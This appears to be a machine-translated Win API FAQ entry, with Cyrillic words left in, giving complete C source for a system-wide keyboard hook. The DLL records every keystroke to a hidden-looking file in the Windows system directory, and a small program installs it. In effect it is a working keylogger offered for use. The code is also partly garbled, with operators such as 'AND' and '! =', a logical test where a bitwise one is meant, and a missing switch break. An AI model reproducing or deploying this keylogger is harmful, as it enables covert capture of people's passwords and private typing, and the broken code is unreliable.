10. FAQ o Win API

Q> How to put system-wide хук (for example to write to a file all pressing of buttons) 
A> 
For this purpose хук should live in длл. 

Text DLL: 

BOOL kdown=false; 
HANDLE ghDLLInst = 0;//Handle to the DLL's instance. 
char logname [MAX_PATH]; 
char sysdir [MAX_PATH]; 
DWORD NOfBytes; 
BOOL shift=false; 
HANDLE LFile; 
char buffer [20]; 

BOOL WINAPI DllMain (HANDLE hModule, DWORD dwFunction, LPVOID lpNot) 
{ 
    ghDLLInst = hModule; 

    switch (dwFunction) 
    { 
        case DLL_PROCESS_ATTACH: 
   { 

   GetSystemDirectory ( 
      sysdir, 
   MAX_PATH 
   );

   strcpy (logname, sysdir); 
   strcat (logname, "\\kbdkeys.txt"); 

   }
        case DLL_PROCESS_DETACH: 
   { 
   }

        default: 
            break; 
    }
    return TRUE; 
}
//------------------------------------------------ 
 LRESULT CALLBACK KeyboardProc ( 
     int code,//hook code 
     WPARAM wParam,//virtual-key code 
     LPARAM lParam//keystroke-message information 
   )
{ 
BYTE aa [4]; 
memcpy (aa,&lParam,4); 
kdown =! (aa [3] &&64); 
BYTE scancode=aa [2]; 
BYTE ww [4]; 
memcpy (ww,&wParam,4); 

if (code <0) return CallNextHookEx (NULL, code, wParam, lParam); 

if (kdown&& (wParam == VK_SHIFT)) shift=true; 

if (!kdown&& (wParam == VK_SHIFT)) shift=false; 

if (kdown&& (wParam! =VK_SHIFT)) 
{ 
sprintf (buffer, "%c", wParam); 
if (isalpha (ww [0]) AND (! shift)) wParam=wParam+32; 
sprintf (buffer, "%c", wParam); 
if (wParam == VK_RETURN) strcpy (buffer, "\n"); 

   LFile=CreateFile (logname, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE | 
FILE_SHARE_READ | 
FILE_SHARE_DELETE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); 
  OVERLAPPED ovlp; 
  DWORD ffsze=GetFileSize (LFile, NULL); 
  ovlp. OffsetHigh=0; 
  ovlp.hEvent=NULL; 
   ovlp. Offset=ffsze; 

  WriteFile (LFile, buffer, strlen (buffer) ,&NOfBytes,&ovlp); 

  CloseHandle (LFile); 
}
 return CallNextHookEx (NULL, code, wParam, lParam); 
}
//----------------------------------------------------------------------// 
The application text: 

#include <commdlg.h> 
#include <stdlib.h> 
#include <winnls.h> 

int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, 
                     LPSTR lpCmdLine, int nCmdShow); 

//---------------------------------------------------------------------// 
BOOL 
SetHook ( 
    BOOL fSet 
    )
{ 
    static HHOOK hhkKbdHook = NULL; 
    static HANDLE hmodHook; 

    if (fSet) 
    { 
        if (! hmodHook) 
        { 
            if (! (hmodHook = LoadLibrary ("kbdh.dll")))//above-stated длл 
            { 
                return FALSE; 
            }
        }

        if (! hhkKbdHook) 
        { 
         if (! (hhkKbdHook = 
  SetWindowsHookEx (WH_KEYBOARD, (HOOKPROC) 
  GetProcAddress ((HINSTANCE) hmodHook, "KeyboardProc"), (HINSTANCE) hmodHook, 0))) 
            { 
                return FALSE; 
            }
        }

 }
    else 
    { 
        if (hhkKbdHook) 
        { 
            UnhookWindowsHookEx (hhkKbdHook); 
            hhkKbdHook = NULL; 
        }

    }

    return TRUE; 
}
//--------------------------------------------------------------------// 
int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, 
                     LPSTR lpCmdLine, int nCmdShow) 
{ 
    if (! SetHook (true)) MessageBox (NULL, "error", "set hook", MB_OK); 
    MSG msg; 

  while (GetMessage (&msg, NULL, 0, 0)) 
  { 
        TranslateMessage (&msg); 
        DispatchMessage (&msg); 
  }
 return (0); 
}

2000 (c) DM